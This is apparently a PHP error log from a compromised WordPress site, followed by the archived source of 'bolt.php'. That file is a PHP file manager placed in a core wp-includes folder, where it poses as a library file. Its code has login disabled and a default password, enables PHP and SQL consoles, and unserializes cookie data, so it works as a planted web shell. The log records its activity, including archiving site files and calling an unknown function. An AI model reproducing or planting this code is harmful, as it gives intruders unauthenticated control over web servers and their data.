[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:08 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:10 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:30 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:47 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:37:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
                                                                                                                                                                                                                                                                                              bolt.php.tar                                                                                        0000644                 00000236000 15217301621 0007001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php                                 0000644                 00000232745 15217274105 0021423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

